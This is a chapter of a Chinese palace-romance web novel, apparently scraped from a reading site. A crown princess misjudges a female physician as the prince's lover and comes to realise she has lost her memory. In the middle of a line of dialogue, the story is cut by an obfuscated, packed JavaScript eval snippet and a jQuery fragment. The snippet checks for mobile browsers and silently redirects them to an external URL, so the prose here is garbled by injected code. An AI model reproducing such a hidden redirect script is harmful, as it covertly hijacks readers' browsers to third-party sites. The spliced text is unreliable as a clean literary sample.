16. 撒娇

作品:《太子妃失忆后要和离

    夏淑晴深吸一口凉气,意外朱珩的关注点如此清奇,竟疑惑她为何会生妒意。


    可这问题,她自己都不知。


    她只记得那天夜里,看见那位清新脱俗的女子从暖阁出来,朱珩深情目送,她的脚如同灌铅。先是一阵落寞涌上心头,然后才有些气愤。


    倘若承认这份妒意,那不就是变相说她心悦朱珩?


    想都别想。


    夏淑晴不自然地挪走眼神:“……臣妾头好晕,身体抱恙,怕将病气过予殿下,望殿下远避。”


    “得了孤的照顾,想赶孤走?”


    他果然厚颜无耻。


    这算哪门子照顾?分明是看她笑话,戏弄她!


    可朱珩不吃装哑巴那一套,直直盯着夏淑晴,几近一字一顿道:“太子妃不想聊也行,轮到孤与你算账了,听说夏家想辅佐藩王篡位?”


    他是不是只会威逼利诱恐吓这一招?


    夏淑晴蹙眉,语气不悦:“臣妾就是小心眼,喜欢乱生气行了吧。都怪殿下那日不等臣妾,害臣妾公然出糗。夜里又见殿下金屋藏娇,与佳人幽会……”


    反正是朱珩的错,她作为名正言顺的太子妃生气不是理所应当的吗?


    朱珩默了会,一本正经道:“夏淑晴,别撒娇。”


    “?”


    他是不是脑子出问题了?


    夏淑晴小心观望了他一眼,发现他表情认真严肃,不似之前的揶揄。


    她便小心翼翼地补充道:“不过臣妾想开了,殿下若真喜欢那姑娘,便把她纳进来吧。”


    反正她马上就要和离溜之大吉了,他爱找谁找谁。


    朱珩却一脸鄙夷,轻声吐了这两个字:“蠢货。”


    ……蠢货?


    夏淑晴愣了愣,还以为自己耳背听错了,他居然骂她蠢货?


    她不想理他了。


    她无法和看不到自己才华的笨蛋交流,此谓“中人以下,不可以语上也”。


    “真不知你在想什么。”


    朱珩看到她气鼓鼓的脸,莫名想伸手戳一戳,但还是忍住了,怕她愤恚。


    “你为什么觉得孤会杀你?别装睡。”


    虽然刚才喝了药之后身体舒服多了,但眼下头还有些痛,额上的毛巾也快凉了。


    夏淑晴微微不满地解释,把烂熟于心的话一股脑儿倒出来:“殿下每日送避子汤,可殿下明明之前都备有羊肠,这说明不可能仅是避子汤了。而殿下对我厌恶至极,还有心上人,自然想把我除去。臣妾这样想不是很正常吗?”


    “对,就是毒药。”


    “什么?”夏淑晴不可思议地问:“可、可你不也喝了吗?”


    他亲自喂给她的,之前那回也是,不可能掉包。


    然后在她一脸惊恐中,看着朱珩的脸逐渐放大,他眉眼弯弯,右手摩挲上她的耳朵,认真道:“这样孤便可以与你同葬了,可好?”


    他睫毛很长,在下眼睑形成一片阴影,叫夏淑晴难以看清他有几分认真。


    “……殿下别说笑了,臣妾惜命得很。”


    夏淑晴怀疑他不会真是黑白无常吧,怎么一说话就能牵扯到“死”。


    “想活?”


    “自然……”


    “那便按时服药,从医嘱。孤不需要你这条命,更没空下毒。”


    夏淑晴慢半拍:“所以殿下之前给臣妾喂的都是药?难道是臣妾生病了?臣妾为何不知?”


    “太子妃若不信,孤不妨亲自喂你。”


    “……”


    倒也不用。


    夏淑晴脑海里缓缓浮现出御花园里公主撒谎的模样,她反复回忆自己到底有什么病。


    按理说她从小和陈岳茹当疯野丫头,登山逐鹿、逾垣捕蝉或攀崖掏鸟,基本样样精通,从小到大基本没生过几场病。


    那还能是什么?


    她越努力回想,却越是想不起来,记忆零零散散,翻来覆去就是那几段。


    一种不好的预感油然而生,她怀疑自己……


    这时,阿荞在门外念道:“殿下,娘娘,医师已至。”


    朱珩眼都没掀:“进来。”


    然后一小股凉风随开门闯进,夹杂着艾草的辛香,和淡淡的薄荷凉意,像是女子的香气。


    夏淑晴猜想是位女医师,便安静地平躺着,右手伸出锦衾,等她把脉。


    “民妇见过太子殿下、太子妃娘娘,二位安好。”


    女医师的声音宛如甘泉流过山涧,飞鸟相与还,清冽灵动,令人感到静谧和谐。


    大概是得到了朱珩的首肯,女医师来到她床边,轻声道:“民妇即将为娘娘把脉,如有冒犯之处,还望娘娘恕罪。”


    “有劳医师了。”


    只有一双温热的手指搭在夏淑晴的手腕上,而夏淑晴对这位既嫁于人声音好听的女医师产生了好奇,偷偷侧目打量她。


    这一瞧,夏淑晴险些忘了呼吸。


    这女医师,不就是从暖阁出来的那位美人吗!


    女医师似有察觉,朝夏淑晴淡然一笑道:“娘娘莫要紧张。”


    “……好。”


    可夏淑晴的脸越来越红。


    将女医师自称的“民妇”重新在脑中过了一遍,夏淑晴确定她已有夫家了。


    而朱珩在椅子上坐着,目光似往她这边瞟,夏淑晴也看不真切。


    难怪朱珩不求娶这位女医师,原来是因为人家已嫁!


    难怪朱珩骂她蠢货,原来是被戳到痛处了,想到无法纳她为妃就气急败坏。


    瞧瞧,朱珩还在看呢,如此明目张胆,脸都不要了!


    与此同时,夏淑晴看女医师的目光中多了些许同情。她已与所爱之人缔结良缘,却因为皇权不得不忍耐朱珩的骚扰,她们俩命好苦啊。


    而她之前竟觉得他们苟合,实属不该!


    瞧女医师眉眼里透露着坚韧,夏淑晴放轻了声:“本宫该如何称呼你?”


    女医师有些诧异,遂莞尔:“民妇名为林芙,娘娘随意唤我即可。”


    “林医师,若太子三番五次烦扰你,你且放心告诉本宫,本宫定当护你周全。”


    没想到夏淑晴会这样回答,显然她误会了什么。


    可她自己都嘴唇泛白,有气无力地躺在床上了,却还要护她周全。林芙笑出了声,认真道:“多谢娘娘。”


    夏淑晴看她沦落至此还要强颜欢笑,心中多了几分怜悯,和对朱珩的义愤填膺。


    何时才能逃离朱珩的魔爪!


    当初没能救下陈岳茹,已让她惭愧不已,午夜梦醒时难以自拔。


    如今不能再对林医师见死不救了,夏淑晴决定誓死保护林医师回家,给她一大笔钱让她隐姓埋名,离京城远些。


    若不是病得起不来,夏淑晴现在已经备好盘缠和路引给她了。


    未等她筹划好详细的逃跑路线,林芙便起身,走到朱珩身边,恭敬道:“殿下,娘娘脉象平和,稍有浮紧,此乃风寒所致,并无大碍,只需精心修养几日。而此前所服药方,不可中断。”


    朱珩的目光一刻都不曾离开夏淑晴身上,他平静道:“甚好,去找羽风领赏吧。”


    “多谢太子殿下,民妇


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15083369|163423||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    先行告退。”林芙粲然一笑。


    结果夏淑晴用手撑着,缓慢坐直,皱眉道:“殿下,耽于色,废诸事,莫因一己私欲犯下滔天罪行。”


    屋内静默一片。


    就算是朱珩迁怒于她,她也要将话说完:“臣妾求您放林医师一马吧,你也知道她已有心悦之人,强扭的瓜不甜,莫要强求!”


    说完感到嗓子干涩,夏淑晴又猛然咳嗽。


    朱珩冷冷地扫了一眼林芙,仿佛起了杀心似的。


    林芙顿感棘手,她小心地往门边挪了几步,声若蚊吟:“娘娘……似乎有些误会……”


    “林医师莫怕,本宫说过,本宫定会护你周全。”


    夏淑晴以为林芙是害怕朱珩动怒。


    而林芙的确是怕朱珩动怒,她刚才一时觉得好笑忘了澄清,没想到夏淑晴说到做到,使得朱珩不耐烦地盯着她。


    林芙顶着压力走到夏淑晴身边:“……娘娘,殿下从未为难过民妇,殿下每次找我都是娘娘的病,无半点逾越之举。”


    “你莫怕,且说实话——等等,本宫生了什么病?”


    “民妇突然想起来,还有个孩子嗷嗷待哺,先行告退!”


    然后她一溜烟离开了气氛凝重的寝宫,生怕走晚了就被朱珩扔去喂老虎。


    阿荞望了望安静的寝宫,又瞧了瞧额头冒汗的林芙,疑惑地问:“林医师,里头可是发生什么了?”


    林芙气喘吁吁,用手帕拭去汗珠:“阿荞,今晚多留意点儿,若是发生什么争吵,记得劝下,娘娘现下不能动气。”


    “劝架?用不着。”


    “为何?”


    “这怎么好意思讲,反正用不着。”


    ·


    林芙离开后,寝宫内气氛快要冷得结冰了。


    在床上坐着的夏淑晴咬牙,懊恼自己发热后脑子糊涂不已。但她也是行好事,只不过……使错了劲儿,以至于再次冲撞了朱珩。


    “夏淑晴,孤在你心里到底是什么人?”


    朱珩站在她面前,自上而下俯视,狭长的眼尾能摄人魂魄,言语里满是漫不经心:


    “除了你,孤从未想过要得到任何人,一直是别人觊觎孤。”


    他又在胡说什么,他俩分明是皇帝赐婚,他倒挺会往自己脸上贴金。夏淑晴一边想,一边觉得脸又开始烫了。


    “臣妾不过是好心办坏事,做人多些提防总是好的。”


    夏淑晴抿唇,颇为哀怨地抬眼望他:“反倒是殿下,总盯着林医师看,眼神还一点儿都不清白,这、这谁见了不能误会啊,也不能全怨臣妾。”


    但凡他眼神别那么暧昧,她也不会乱想!


    “孤说过了,孤不会中你的撒娇之计。”


    朱珩冰冷地回答。


    “……臣妾没有撒娇。”


    “还来?”


    夏淑晴彻底心服口服,越想越委屈,索性破罐子破摔道:“我想不通,殿下到底在隐瞒什么?为何你们所有人都心照不宣地诓骗我,却都自称是为了我好?我到底生了什么病,是我自己浑然不知的?总不能是失忆吧!”


    她也想过失忆的可能,可她记得许多事情,比如嫁入东宫,比如朱珩厌恶她。


    但她也对许多事情感到未知,比如脖颈初的疤痕,比如纪杉似乎对她分外熟悉,可她对他一无所知。


    可她万万没想到,朱珩听见她的话后怔住了,他的眼底有过片刻的慌乱。


    “所以,我真的,失忆了?”


    夏淑晴十分艰难地挤出几个字,感觉全身发冷,头皮发麻,仿佛蚂蚁爬过脊背。